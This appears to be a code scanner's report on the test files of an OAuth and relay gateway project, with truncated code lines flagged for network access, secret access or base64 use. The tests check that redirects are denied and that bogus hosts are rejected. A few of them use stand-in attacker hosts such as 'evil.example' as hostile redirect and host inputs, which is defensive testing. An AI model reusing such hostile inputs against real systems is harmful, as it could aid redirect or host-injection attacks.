integrations/remote-gateway/tests/runtime/github-fetch.test.ts
- Executable scriptline 1
Executable file - Access to secretsline 5
[Credential-related source omitted] - Network accessline 7
test('GitHub identity lookup constructs a valid actual workerd request and denies redirects',async()=>{ expect(await verifyGithubIdentity('synthetic-token',async(input,options)=>{const request=new Request(input,options);expect(request.redi - Network accessline 8
expect(await verifyGithubIdentity('synthetic-token',async(input,options)=>{const request=new Request(input,options);expect(request.redirect).toBe('manual');return Response.json({id:16027584});})).toBe('16027584'); await expect(verifyGithub - Network accessline 9
await expect(verifyGithubIdentity('synthetic-token',async()=>new Response(JSON.stringify({id:16027584}),{status:302,headers:{Location:'https://evil.example/'}}))).rejects.toThrow();
integrations/remote-gateway/tests/runtime/grant-key.test.ts
- Executable scriptline 1
Executable file - Network accessline 5
async function provisioned() { const f = await enrolled(); expect((await f.provision()).status).toBe(200); return f; } async function addApp(f: Awaited<ReturnType<typeof enrolled>>, id: string, scopes: string[], tools: string[]) { const r - Network accessline 6
async function addApp(f: Awaited<ReturnType<typeof enrolled>>, id: string, scopes: string[], tools: string[]) { const registered = await f.call('/oauth/register', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JS - Network accessline 7
const registered = await f.call('/oauth/register', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ client_name: 'Grant App', redirect_uris: ['https://backend.composio.dev/api/v1/auth-apps/add'], tok - Network accessline 8
const client = await registered.json() as { client_id: string }; await env.REGISTRIES.getByName(f.connectionId).addAuthorization({ ownerId: OWNER, connectionId: f.connectionId, authorizationId: id, clientId: client.client_id, audience: 'h - Network accessline 9
await env.REGISTRIES.getByName(f.connectionId).addAuthorization({ ownerId: OWNER, connectionId: f.connectionId, authorizationId: id, clientId: client.client_id, audience: 'https://mcp.superlocalmemory.com/mcp', consentedTools: tools, consen
integrations/remote-gateway/tests/runtime/native-enrollment.test.ts
- Executable scriptline 1
Executable file - Access to secretsline 18
[Credential-related source omitted] - Network accessline 20
}finally{release();} expect((await provisioning).status).not.toBe(200);expect(await real.getConnection('16027584',f.connectionId)).toBeNull(); expect((await env.RELAYS.getByName(f.connectionId).fetch(new Request('https://private.invalid/c - Network accessline 21
expect((await provisioning).status).not.toBe(200);expect(await real.getConnection('16027584',f.connectionId)).toBeNull(); expect((await env.RELAYS.getByName(f.connectionId).fetch(new Request('https://private.invalid/connector',{headers:{Up - Network accessline 22
[Credential-related source omitted] - Network accessline 26
const {resourceGateway}=await import('../../src/worker-resource.ts');const {decodeRelayFrame,encodeRelayFrame}=await import('../../src/relay-protocol.ts'); const f=await enrolled();const delivered=await f.provision();expect(delivered.statu - Network accessline 27
[Credential-related source omitted] - Network accessline 28
const relay=env.RELAYS.getByName(f.connectionId);const registry=env.REGISTRIES.getByName(f.connectionId);const audience='https://mcp.superlocalmemory.com/mcp'; - Network accessline 29
await registry.addAuthorization({ownerId:'16027584',connectionId:f.connectionId,authorizationId:'existing-mcp',clientId:'synthetic-mcp',audience,consentedTools:['recall'],consentedScopes:['slm:read'],consentedCorrection:false,consentedShare - Network accessline 30
const configuration={...env,AUTH_SERVER:{async validateToken(){return {userId:'16027584',clientId:'synthetic-mcp',props:{ownerId:'16027584',connectionId:f.connectionId,authorizationId:'existing-mcp'},scope:['slm:read'],expiresAt:Math.floor( - Network accessline 31
[Credential-related source omitted] - Network accessline 32
const ready=new Promise<void>(resolve=>socket.addEventListener('message',()=>resolve(),{once:true}));socket.accept();await ready; socket.addEventListener('message',event=>{const parsed=decodeRelayFrame(String(event.data));if(!parsed.ok||pa - Network accessline 33
socket.addEventListener('message',event=>{const parsed=decodeRelayFrame(String(event.data));if(!parsed.ok||parsed.frame.kind!=='request')return;const frame=parsed.frame;const rpc=JSON.parse(atob(frame.bodyBase64));const encoded=encodeRelayF - Possible obfuscationline 33
socket.addEventListener('message',event=>{const parsed=decodeRelayFrame(String(event.data));if(!parsed.ok||parsed.frame.kind!=='request')return;const frame=parsed.frame;const rpc=JSON.parse(atob(frame.bodyBase64));const encoded=encodeRelayF - Network accessline 34
[Credential-related source omitted] - Network accessline 35
try{expect((await recall()).status).toBe(200);const closed=new Promise<void>(resolve=>socket.addEventListener('close',()=>resolve(),{once:true})); const revoked=await f.call('/oauth/token',{method:'POST',headers:{'Content-Type':'applicati - Network accessline 36
[Credential-related source omitted] - Access to secretsline 36
[Credential-related source omitted] - Network accessline 37
[Credential-related source omitted] - Network accessline 41
async function connectedApp(f:Awaited<ReturnType<typeof enrolled>>,clientName:string,authorizationId:string){ const registered=await f.call('/oauth/register',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({c - Network accessline 42
const registered=await f.call('/oauth/register',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({client_name:clientName,redirect_uris:['https://backend.composio.dev/api/v1/auth-apps/add'],token_endpoint_auth_m - Network accessline 43
const client=await registered.json() as {client_id:string}; await env.REGISTRIES.getByName(f.connectionId).addAuthorization({ownerId:'16027584',connectionId:f.connectionId,authorizationId,clientId:client.client_id,audience:'https://mcp.sup - Network accessline 44
await env.REGISTRIES.getByName(f.connectionId).addAuthorization({ownerId:'16027584',connectionId:f.connectionId,authorizationId,clientId:client.client_id,audience:'https://mcp.superlocalmemory.com/mcp',consentedTools:['recall','search','fet - Network accessline 56
const removed=await f.ownerCall('/owner/apps/revoke',{authorization_id:'app-composio',expected_version:1}); expect(removed.status).toBe(200);expect(await removed.json()).toEqual({revoked:true,version:2}); const actor={ownerId:'16027584',c - Network accessline 57
expect(removed.status).toBe(200);expect(await removed.json()).toEqual({revoked:true,version:2}); const actor={ownerId:'16027584',connectionId:f.connectionId,authorizationId:'app-composio',clientId,audience:'https://mcp.superlocalmemory.com - Network accessline 58
const actor={ownerId:'16027584',connectionId:f.connectionId,authorizationId:'app-composio',clientId,audience:'https://mcp.superlocalmemory.com/mcp',credentialKind:'oauth' as const,scopes:['slm:read' as const]}; - Network accessline 59
expect(await env.REGISTRIES.getByName(f.connectionId).admit(actor,'https://mcp.superlocalmemory.com/mcp',{era:'legacy',rpcMethod:'tools/call',toolName:'recall',arguments:{query:'x'},originalBody:new Uint8Array()})).toMatchObject({allowed:fa
integrations/remote-gateway/tests/runtime/native-fixture.ts
- Executable scriptline 1
Executable file - Network accessline 4
import {generateKeyPair,exportJWK,SignJWT} from 'jose'; import {authFetch,type AuthWorkerEnv} from '../../src/worker-auth.ts';import {tokenHash} from '../../src/device-proof.ts'; export const issuer='https://auth.superlocalmemory.com'; - Network accessline 5
import {authFetch,type AuthWorkerEnv} from '../../src/worker-auth.ts';import {tokenHash} from '../../src/device-proof.ts'; export const issuer='https://auth.superlocalmemory.com'; export const cookies=(response:Response)=>response.headers.g - Network accessline 6
export const issuer='https://auth.superlocalmemory.com'; - Network accessline 9
[Credential-related source omitted] - Network accessline 10
[Credential-related source omitted] - Access to secretsline 10
[Credential-related source omitted] - Network accessline 11
const pair=await generateKeyPair('ES256',{extractable:true});const jwk=await exportJWK(pair.publicKey);const connectionId=crypto.randomUUID().replaceAll('-','');const profileId='synthetic';const installationId='i-'+connectionId;const verifi - Network accessline 17
const signIn=await call('/consent',{method:'POST',headers:{Origin:issuer,Cookie:cookies(consent),'Content-Type':'application/x-www-form-urlencoded'},body:new URLSearchParams({handle:handle(await consent.text()),decision:'allow'})});expect(s - Network accessline 18
[Credential-related source omitted] - Network accessline 19
[Credential-related source omitted] - Access to secretsline 19
[Credential-related source omitted] - Access to secretsline 22
[Credential-related source omitted] - Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 24
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted]
integrations/remote-gateway/tests/runtime/oauth-roundtrip.test.ts
- Executable scriptline 1
Executable file - Network accessline 6
import {validateIndexedToken} from '../../src/issuer-protocol.ts'; import {tokenHash} from '../../src/device-proof.ts'; const issuer='https://auth.superlocalmemory.com'; - Network accessline 7
import {tokenHash} from '../../src/device-proof.ts'; const issuer='https://auth.superlocalmemory.com'; function cookies(response:Response){return response.headers.getSetCookie().map(x=>x.split(';')[0]).join('; ');} - Network accessline 8
const issuer='https://auth.superlocalmemory.com'; - Access to secretsline 12
[Credential-related source omitted] - Network accessline 16
const registry=env.REGISTRIES.getByName(connectionId);await registry.configure({connectionId,ownerId,installationId,profileId,origin:{kind:'relay',installationId,profileId},allowedTools:['recall','remember'],allowCorrection:false,allowShare - Network accessline 17
async function call(path:string,init?:RequestInit){const ctx=createExecutionContext();const response=await authFetch(new Request(path.startsWith('https:')?path:issuer+path,init),configuration,ctx);await waitOnExecutionContext(ctx);return re - Network accessline 18
const registration=await call('/oauth/register',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({client_name:'Synthetic MCP client',redirect_uris:['https://client.example/callback'],token_endpoint_auth_method: - Network accessline 19
expect(registration.status).toBe(201);const client=await registration.json() as {client_id:string};const verifier='v'.repeat(43); const parameters=new URLSearchParams({response_type:'code',client_id:client.client_id,redirect_uri:'https://c - Network accessline 20
const parameters=new URLSearchParams({response_type:'code',client_id:client.client_id,redirect_uri:'https://client.example/callback',scope:extra.scope??'slm:read slm:write slm:session slm:connect',...(omitResource?{}:{resource:'https://mcp. - Network accessline 22
const signIn=await call('/consent',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded',Origin:issuer,Cookie:cookies(consent)},body:new URLSearchParams({handle:consentHandle,decision:'allow',...extra.ticks})}); expect - Network accessline 23
expect(signIn.status).toBe(302);const upstream=new URL(signIn.headers.get('Location')!); vi.stubGlobal('fetch',async(input:RequestInfo|URL)=>{const url=String(input);if(url==='https://github.com/login/oauth/access_token')return Response.js - Network accessline 24
[Credential-related source omitted] - Access to secretsline 24
[Credential-related source omitted] - Network accessline 28
const completed=await call('/select',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded',Origin:issuer,Cookie:cookies(selection)},body:new URLSearchParams({handle:selectionHandle,connection_id:connectionId,decision:'a - Network accessline 29
expect(completed.status).toBe(302);const returned=new URL(completed.headers.get('Location')!);expect(returned.searchParams.get('state')).toBe('synthetic-client-state'); const tokenResponse=await call('/oauth/token',{method:'POST',headers: - Network accessline 30
const tokenResponse=await call('/oauth/token',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:new URLSearchParams({grant_type:'authorization_code',client_id:client.client_id,code:returned.searchParams.get('c - Network accessline 31
[Credential-related source omitted] - Access to secretsline 31
[Credential-related source omitted] - Network accessline 32
[Credential-related source omitted] - Access to secretsline 32
[Credential-related source omitted] - Network accessline 33
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Network accessline 34
[Credential-related source omitted] - Access to secretsline 34
[Credential-related source omitted] - Network accessline 35
if(extra.granted){ const actor={ownerId,connectionId,authorizationId:(await registry.listAuthorizations(ownerId))[0].authorizationId,clientId:client.client_id,audience:'https://mcp.superlocalmemory.com/mcp',credentialKind:'oauth' as cons - Network accessline 36
const actor={ownerId,connectionId,authorizationId:(await registry.listAuthorizations(ownerId))[0].authorizationId,clientId:client.client_id,audience:'https://mcp.superlocalmemory.com/mcp',credentialKind:'oauth' as const,scopes:granted as ne - Network accessline 37
const admitted=(tool:string)=>registry.admit(actor,'https://mcp.superlocalmemory.com/mcp',{era:'legacy',rpcMethod:'tools/call',toolName:tool,arguments:{},originalBody:new Uint8Array()}); - Network accessline 39
[Credential-related source omitted] - Network accessline 40
[Credential-related source omitted] - Access to secretsline 40
[Credential-related source omitted] - Network accessline 41
[Credential-related source omitted] - Access to secretsline 41
[Credential-related source omitted] - Access to secretsline 54
[Credential-related source omitted] - Network accessline 55
const ctx=createExecutionContext();const api=authorizationServer.getOAuthApi(settings); const registered=await authFetch(new Request(issuer+'/oauth/register',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({c - Network accessline 56
const registered=await authFetch(new Request(issuer+'/oauth/register',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({client_name:'browser-fixture',redirect_uris:[callback],token_endpoint_auth_method:'none'}) - Network accessline 57
const request=await api.parseAuthRequest(new Request(issuer+'/authorize?'+new URLSearchParams({response_type:'code',client_id:client.client_id,redirect_uri:callback,resource:'https://mcp.superlocalmemory.com/mcp',scope:'slm:read',state:'bro - Network accessline 62
} test('browser client handoff ends the POST before an external callback redirect chain',async()=>{ const response=await browserSelect('https://client.example/callback'); - Network accessline 63
test('browser client handoff ends the POST before an external callback redirect chain',async()=>{ const response=await browserSelect('https://client.example/callback'); expect(response.status).toBe(200);expect(response.headers.get('Conten - Network accessline 64
const response=await browserSelect('https://client.example/callback'); - Network accessline 65
expect(response.status).toBe(200);expect(response.headers.get('Content-Type')).toContain('text/html');const page=await response.text();expect(page).toContain('http-equiv="refresh"');expect(page).toContain('https://client.example/callback?') - Network accessline 69
test.each(['http://localhost:33418/callback','http://[::1]:33418/callback','http://127.0.0.1:33418/callback'])('browser handoff returns loopback client %s instead of failing after code issue',async(callback)=>{
integrations/remote-gateway/tests/runtime/owner-bootstrap.test.ts
- Executable scriptline 1
Executable file - Network accessline 9
async function fixture(){ const keys=await generateKeyPair('ES256');const jwk=await exportJWK(keys.publicKey);const jkt=await calculateJwkThumbprint(jwk);const verifier='v'.repeat(64); const binding:BootstrapBinding={connectionId:crypto.r - Network accessline 10
const keys=await generateKeyPair('ES256');const jwk=await exportJWK(keys.publicKey);const jkt=await calculateJwkThumbprint(jwk);const verifier='v'.repeat(64); const binding:BootstrapBinding={connectionId:crypto.randomUUID().replaceAll('-', - Network accessline 11
const binding:BootstrapBinding={connectionId:crypto.randomUUID().replaceAll('-',''),installationId:'install-a',profileId:'default',host:'muse',permissions:{read:true,write:false,correction:false,session:false},deviceJwk:jwk,expiresAtMs:Date - Network accessline 33
const row:OwnedConnection={connectionId:binding.connectionId,installationId:'install-a',profileId:'default',host:'other_mcp',permissions:binding.permissions,credentialEnvelope:'encrypted-synthetic',deviceDigest:'a'.repeat(64),deviceJkt:jkt, - Network accessline 34
await owner.addConnection('16027584','install-a','default','native-client',row);expect(await owner.getConnection('16027584',row.connectionId)).toMatchObject({host:'other_mcp',permissions:binding.permissions});expect(await owner.list('999')) - Network accessline 35
const invalid=env.BOOTSTRAPS.getByName(crypto.randomUUID());await rejected(()=>invalid.configure({...binding,host:'https://evil.example'}),'invalid_bootstrap');
integrations/remote-gateway/tests/runtime/owner-control.test.ts
- Network accessline 1
import {env,createExecutionContext} from 'cloudflare:test';import {expect,test} from 'vitest'; import {ownerControlFetch,type OwnerControlEnv} from '../../src/owner-control.ts'; test('owner control refuses absent authentication before provi - Executable scriptline 1
Executable file - Network accessline 2
import {ownerControlFetch,type OwnerControlEnv} from '../../src/owner-control.ts'; test('owner control refuses absent authentication before provisioning',async()=>{const response=await ownerControlFetch(new Request('https://auth.superlocalm - Network accessline 3
[Credential-related source omitted] - Access to secretsline 3
[Credential-related source omitted] - Network accessline 4
[Credential-related source omitted] - Access to secretsline 4
[Credential-related source omitted]
integrations/remote-gateway/tests/runtime/registry-mesh.test.ts
- Executable scriptline 1
Executable file - Network accessline 4
import type { AuthorizationGrant, ConnectionGrant, RequestEnvelope, Scope, VerifiedActor } from '../../src/contracts.ts'; afterEach(() => { vi.useRealTimers(); }); const audience = 'https://mcp.superlocalmemory.com/mcp'; - Network accessline 5
afterEach(() => { vi.useRealTimers(); }); const audience = 'https://mcp.superlocalmemory.com/mcp'; const connection: ConnectionGrant = { connectionId: 'connection-a', ownerId: 'owner-a', installationId: 'installation-a', profileId: 'profile - Network accessline 6
const audience = 'https://mcp.superlocalmemory.com/mcp';
integrations/remote-gateway/tests/runtime/registry.test.ts
- Executable scriptline 1
Executable file - Network accessline 6
const connection:ConnectionGrant={connectionId:'connection-a',ownerId:'owner-a',installationId:'installation-a',profileId:'profile-a',origin:{kind:'relay',installationId:'installation-a',profileId:'profile-a'},allowedTools:['recall','rememb - Network accessline 7
const grant:AuthorizationGrant={authorizationId:'authorization-a',audience:'https://mcp.superlocalmemory.com/mcp',ownerId:'owner-a',clientId:'client-a',connectionId:'connection-a',consentedTools:['recall','remember'],consentedScopes:['slm:r - Network accessline 21
test('token scopes and profile arguments are rechecked at admission',async()=>{const stub=await setup();expect((await stub.admit({...actor,scopes:['slm:read']},grant.audience,{...request,toolName:'remember',arguments:{content:'synthetic'}}) - Network accessline 22
test('concurrent immutable grants never admit a widened payload',async()=>{const stub=await setup();const results=await Promise.allSettled([stub.addAuthorization(grant),stub.addAuthorization({...grant,consentedCorrection:true})]);expect(res - Network accessline 23
test('registry has no public administrative HTTP route',async()=>{const stub=await setup();expect((await stub.fetch(new Request('https://private.invalid/admin'))).status).toBe(404);});
integrations/remote-gateway/tests/runtime/relay-do.test.ts
- Executable scriptline 1
Executable file - Network accessline 16
[Credential-related source omitted] - Network accessline 17
[Credential-related source omitted] - Network accessline 18
[Credential-related source omitted] - Network accessline 24
function respond(ws:WebSocket,request:RequestFrame,body='synthetic-result',generation=request.generation) { const result=encodeRelayFrame({v:1,kind:'response',id:request.id,generation,status:200,headers:[['Content-Type','application/json']] - Network accessline 25
describe('real workerd relay runtime',()=>{ test('requires bound device authentication before accepting socket',async()=>{const {stub}=await setup();const r=await stub.fetch(new Request('https://private.invalid/connector',{headers:{Upgrade - Network accessline 26
[Credential-related source omitted] - Network accessline 29
test('survives actual eviction while retaining socket and binding',async()=>{const {stub,token}=await setup();const {ws,generation}=await connect(stub,token);await evictDurableObject(stub);const message=nextMessage(ws);const result=stub.for - Network accessline 30
test('new connector generation prevents stale request dispatch',async()=>{const {stub,token}=await setup();const first=await connect(stub,token);const second=await connect(stub,token);expect(second.generation).toBeGreaterThan(first.generati - Network accessline 31
[Credential-related source omitted] - Network accessline 39
[Credential-related source omitted] - Network accessline 41
test('wrong response generation cannot settle a request',async()=>{const {stub,token}=await setup();const {ws,generation}=await connect(stub,token);const message=nextMessage(ws);const result=stub.forward(frame(generation));const req=decodeR - Network accessline 42
test('disconnect during in-flight request produces honest unavailable result',async()=>{const {stub,token}=await setup();const {ws,generation}=await connect(stub,token);const message=nextMessage(ws);const result=stub.forward(frame(generatio - Network accessline 43
[Credential-related source omitted] - Possible obfuscationline 49
const msg:unknown=JSON.parse(atob(d.frame.bodyBase64)); - Network accessline 64
test('revocation before binding survives eviction as a terminal state',async()=>{const stub=env.RELAYS.getByName(crypto.randomUUID());await stub.revoke();await evictDurableObject(stub);expect((await stub.fetch(new Request('https://private.i
integrations/remote-gateway/tests/runtime/relay-grant.test.ts
- Executable scriptline 1
Executable file - Network accessline 19
[Credential-related source omitted] - Network accessline 20
[Credential-related source omitted] - Possible obfuscationline 33
function b64uToBytes(text: string) { return Uint8Array.from(atob(text.replaceAll('-', '+').replaceAll('_', '/')), c => c.charCodeAt(0)); }
integrations/remote-gateway/tests/runtime/relay-silence.test.ts
integrations/remote-gateway/tests/runtime/resource-grant.test.ts
- Executable scriptline 1
Executable file - Network accessline 9
const sockets: WebSocket[] = []; afterEach(() => { for (const s of sockets.splice(0)) { try { s.close(); } catch {} } }); const audience = 'https://mcp.superlocalmemory.com/mcp'; - Network accessline 10
afterEach(() => { for (const s of sockets.splice(0)) { try { s.close(); } catch {} } }); const audience = 'https://mcp.superlocalmemory.com/mcp'; function bytes(text: string) { return Uint8Array.from(atob(text.replaceAll('-', '+').replaceAl - Network accessline 11
const audience = 'https://mcp.superlocalmemory.com/mcp'; - Possible obfuscationline 12
function bytes(text: string) { return Uint8Array.from(atob(text.replaceAll('-', '+').replaceAll('_', '/')), c => c.charCodeAt(0)); } - Network accessline 20
const relay = env.RELAYS.getByName(id); await relay.configureBinding({ ownerId: 'owner-a', connectionId: id, installationId: 'installation-a', profileId: 'profile-a', deviceDigest: digest, deviceExpiresAt: Date.now() + 60000 }); const key - Network accessline 21
[Credential-related source omitted] - Network accessline 22
[Credential-related source omitted] - Possible obfuscationline 27
const reply = (f: RequestFrame) => { const r = encodeRelayFrame({ v: 1, kind: 'response', id: f.id, generation: f.generation, status: 200, headers: [['content-type', 'application/json']], bodyBase64: btoa(JSON.stringify({ jsonrpc: '2.0', id - Network accessline 30
} async function call(e: ResourceEnv, name: string, args: Record<string, unknown> = {}, headers: Record<string, string> = {}, rpcId = 1) { const ctx = context(); const r = await resourceGateway.fetch(new Request('https://mcp.superlocalmem - Network accessline 31
async function call(e: ResourceEnv, name: string, args: Record<string, unknown> = {}, headers: Record<string, string> = {}, rpcId = 1) { const ctx = context(); const r = await resourceGateway.fetch(new Request('https://mcp.superlocalmemor - Network accessline 32
[Credential-related source omitted]
integrations/remote-gateway/tests/runtime/resource.test.ts
- Executable scriptline 1
Executable file - Network accessline 9
async function setup(){ const id=crypto.randomUUID();const connection:ConnectionGrant={connectionId:id,ownerId:'owner-a',installationId:'installation-a',profileId:'profile-a',origin:{kind:'relay',installationId:'installation-a',profileId:' - Network accessline 10
const id=crypto.randomUUID();const connection:ConnectionGrant={connectionId:id,ownerId:'owner-a',installationId:'installation-a',profileId:'profile-a',origin:{kind:'relay',installationId:'installation-a',profileId:'profile-a'},allowedTools: - Network accessline 11
[Credential-related source omitted] - Network accessline 12
const registry=env.REGISTRIES.getByName(id);await registry.configure(connection);await registry.addAuthorization(authorization);await registry.setEntitlement('owner-a',Date.now()+60000,0); const auth={async validateToken(resource:string,to - Network accessline 13
[Credential-related source omitted] - Network accessline 16
[Credential-related source omitted] - Network accessline 17
[Credential-related source omitted] - Network accessline 18
[Credential-related source omitted] - Network accessline 19
const response=await resourceGateway.fetch(request,fixtureEnv,ctx);await waitOnExecutionContext(ctx);return response; - Network accessline 21
test('resource SDK publishes discovery and challenges absent tokens',async()=>{const {fixtureEnv}=await setup();const response=await call(fixtureEnv,undefined);expect(response.status).toBe(401);expect(response.headers.get('WWW-Authenticate' - Network accessline 25
test('the resource advertises every scope an app may be granted, so the owner chooses on the consent page',async()=>{const {fixtureEnv}=await setup();const scopes=['slm:read','slm:write','slm:session','slm:mesh','slm:media'];const metadata= - Network accessline 28
test('authenticated admission cannot manufacture an online connector',async()=>{const {fixtureEnv}=await setup();const response=await call(fixtureEnv,'synthetic-read');expect(response.status).toBe(503);expect(await response.json()).toMatchO - Network accessline 29
test('revocation denies valid OAuth token after durable acknowledgement',async()=>{const {fixtureEnv,registry}=await setup();await registry.revokeAuthorization('owner-a','authorization-a',1);expect((await call(fixtureEnv,'synthetic-write')) - Network accessline 30
[Credential-related source omitted] - Network accessline 35
const digest=Array.from(new Uint8Array(await crypto.subtle.digest('SHA-256',new TextEncoder().encode(token))),byte=>byte.toString(16).padStart(2,'0')).join(''); const relay=env.RELAYS.getByName(id);await relay.configureBinding({ownerId:'ow - Network accessline 36
const relay=env.RELAYS.getByName(id);await relay.configureBinding({ownerId:'owner-a',connectionId:id,installationId:'installation-a',profileId:'profile-a',deviceDigest:digest,deviceExpiresAt:Date.now()+60000}); const upgrade=await relay.fe - Network accessline 37
[Credential-related source omitted] - Possible obfuscationline 41
const request=JSON.parse(atob(frame.bodyBase64));let result;
integrations/remote-gateway/tests/runtime/token-index.test.ts
- Executable scriptline 1
Executable file - Network accessline 2
import {evictDurableObject} from 'cloudflare:test'; import {expect,test} from 'vitest'; const ref={tokenDigest:'a'.repeat(64),tokenKind:'access' as const,authorizationId:'auth-a',ownerId:'owner-a',clientId:'https://client.example/mcp.json', - Network accessline 3
import {expect,test} from 'vitest'; const ref={tokenDigest:'a'.repeat(64),tokenKind:'access' as const,authorizationId:'auth-a',ownerId:'owner-a',clientId:'https://client.example/mcp.json',connectionId:'connection-a',audience:'https://mcp.su - Network accessline 4
const ref={tokenDigest:'a'.repeat(64),tokenKind:'access' as const,authorizationId:'auth-a',ownerId:'owner-a',clientId:'https://client.example/mcp.json',connectionId:'connection-a',audience:'https://mcp.superlocalmemory.com/mcp',validUntil:n - Access to secretsline 7
[Credential-related source omitted] - Network accessline 12
test('expired references are refused for new issuance',async()=>{const stub=env.TOKEN_INDEX.getByName(crypto.randomUUID());await rejected(()=>stub.record([{...ref,validUntil:'2000-01-01T00:00:00.000Z'}]),'invalid_token_reference');}); test( - Network accessline 14
test('token index exposes no public HTTP administration',async()=>{const stub=await setup();expect((await stub.fetch(new Request('https://private.invalid/token'))).status).toBe(404);});
integrations/remote-gateway/tests/runtime/upload-consent.test.ts
- Executable scriptline 1
Executable file - Network accessline 8
const audience = 'https://mcp.superlocalmemory.com/mcp'; - Network accessline 73
const stub: DurableObjectStub<RelayDO> = env.RELAYS.getByName(crypto.randomUUID()); await stub.configureBinding({ ownerId: 'owner-a', connectionId: 'c0ffee00c0ffee00c0ffee00c0ffee00', installationId: 'installation-a', profileId: 'profil - Network accessline 74
await stub.configureBinding({ ownerId: 'owner-a', connectionId: 'c0ffee00c0ffee00c0ffee00c0ffee00', installationId: 'installation-a', profileId: 'profile-a', deviceDigest: digest, deviceExpiresAt: Date.now() + 600000 }); const response - Network accessline 75
[Credential-related source omitted]
integrations/remote-gateway/tests/runtime/upload-link.test.ts
- Executable scriptline 1
Executable file - Network accessline 13
const registry=env.REGISTRIES.getByName(id); await registry.configure({connectionId:id,ownerId:'owner-a',installationId:'installation-a',profileId:'profile-a',origin:{kind:'relay',installationId:'installation-a',profileId:'profile-a'},allo - Network accessline 14
await registry.configure({connectionId:id,ownerId:'owner-a',installationId:'installation-a',profileId:'profile-a',origin:{kind:'relay',installationId:'installation-a',profileId:'profile-a'},allowedTools:['recall'],allowCorrection:false,allo - Network accessline 15
await registry.addAuthorization({authorizationId:'app-a',audience:'https://mcp.superlocalmemory.com/mcp',ownerId:'owner-a',clientId:'client-a',connectionId:id,consentedTools:['recall','media_upload_link'],consentedScopes:['slm:read','slm:wr - Network accessline 22
const relay=env.RELAYS.getByName(id); await relay.configureBinding({ownerId:'owner-a',connectionId:id,installationId:'installation-a',profileId:'profile-a',deviceDigest:digest,deviceExpiresAt:Date.now()+60000}); const upgrade=await relay. - Network accessline 23
await relay.configureBinding({ownerId:'owner-a',connectionId:id,installationId:'installation-a',profileId:'profile-a',deviceDigest:digest,deviceExpiresAt:Date.now()+60000}); const upgrade=await relay.fetch(new Request('https://private.inva - Network accessline 24
[Credential-related source omitted] - Possible obfuscationline 31
const bytes=atob(frame.bodyBase64).length;const entry={op:op!,index:Number(index),total:Number(total),bytes};seen.push(entry); - Network accessline 39
async function fetchUpload(id:string,method:string,body?:Uint8Array,headers:Record<string,string>={}){ const ctx=context(); const response=await resourceGateway.fetch(new Request(`https://mcp.superlocalmemory.com/u/${id}/${TOKEN}`,{method - Network accessline 40
const ctx=context(); const response=await resourceGateway.fetch(new Request(`https://mcp.superlocalmemory.com/u/${id}/${TOKEN}`,{method,headers:{...(body?{'content-length':String(body.length),origin:'https://mcp.superlocalmemory.com'}:{}), - Network accessline 41
const response=await resourceGateway.fetch(new Request(`https://mcp.superlocalmemory.com/u/${id}/${TOKEN}`,{method,headers:{...(body?{'content-length':String(body.length),origin:'https://mcp.superlocalmemory.com'}:{}),...headers},body}),fix - Network accessline 72
test('a public MCP call cannot carry the upload marker to the laptop',async()=>{ const {seen,close}=await laptop(okScript); try{const ctx=context();const r=await resourceGateway.fetch(new Request('https://mcp.superlocalmemory.com/mcp',{me - Network accessline 73
[Credential-related source omitted] - Network accessline 74
[Credential-related source omitted] - Network accessline 89
const digest=Array.from(new Uint8Array(await crypto.subtle.digest('SHA-256',new TextEncoder().encode(token))),b=>b.toString(16).padStart(2,'0')).join(''); const relay=env.RELAYS.getByName(id);await relay.configureBinding({ownerId:'owner-a' - Network accessline 90
const relay=env.RELAYS.getByName(id);await relay.configureBinding({ownerId:'owner-a',connectionId:id,installationId:'installation-a',profileId:'profile-a',deviceDigest:digest,deviceExpiresAt:Date.now()+60000}); const upgrade=await relay.fe - Network accessline 91
[Credential-related source omitted]
integrations/remote-gateway/tests/upload-gateway.test.mjs
- Executable scriptline 1
Executable file - Network accessline 3
[Credential-related source omitted] - Network accessline 4
[Credential-related source omitted] - Network accessline 5
[Credential-related source omitted] - Network accessline 28
}); const req=(method='GET',init={})=>new Request(URL_,{method,...init}); const post=(bytes,headers={})=>req('POST',{body:bytes,headers:{'content-length':String(bytes.length),'content-type':'application/octet-stream',origin:'https://mcp.sup - Network accessline 29
const req=(method='GET',init={})=>new Request(URL_,{method,...init}); const post=(bytes,headers={})=>req('POST',{body:bytes,headers:{'content-length':String(bytes.length),'content-type':'application/octet-stream',origin:'https://mcp.superlo - Network accessline 30
const post=(bytes,headers={})=>req('POST',{body:bytes,headers:{'content-length':String(bytes.length),'content-type':'application/octet-stream',origin:'https://mcp.superlocalmemory.com',...headers}}); - Network accessline 33
test('paths outside /u/ are not ours',async()=>{ assert.ok(api);const {env}=live(); assert.equal(await api.handleUpload(new Request('https://mcp.superlocalmemory.com/mcp',{method:'POST'}),env),null); - Network accessline 34
assert.ok(api);const {env}=live(); assert.equal(await api.handleUpload(new Request('https://mcp.superlocalmemory.com/mcp',{method:'POST'}),env),null); assert.equal(await api.handleUpload(new Request('https://mcp.superlocalmemory.com/use - Network accessline 35
assert.equal(await api.handleUpload(new Request('https://mcp.superlocalmemory.com/mcp',{method:'POST'}),env),null); - Network accessline 36
assert.equal(await api.handleUpload(new Request('https://mcp.superlocalmemory.com/users'),env),null); - Network accessline 40
assert.ok(api);const {env,frames,names}=live(); for(const path of ['/u/','/u/x','/u/'+CONN+'/short','/u/'+CONN.toUpperCase()+'/'+TOKEN,'/u/'+CONN+'/'+TOKEN+'/more']){ const r=await api.handleUpload(new Request('https://mcp.superlocalm - Network accessline 41
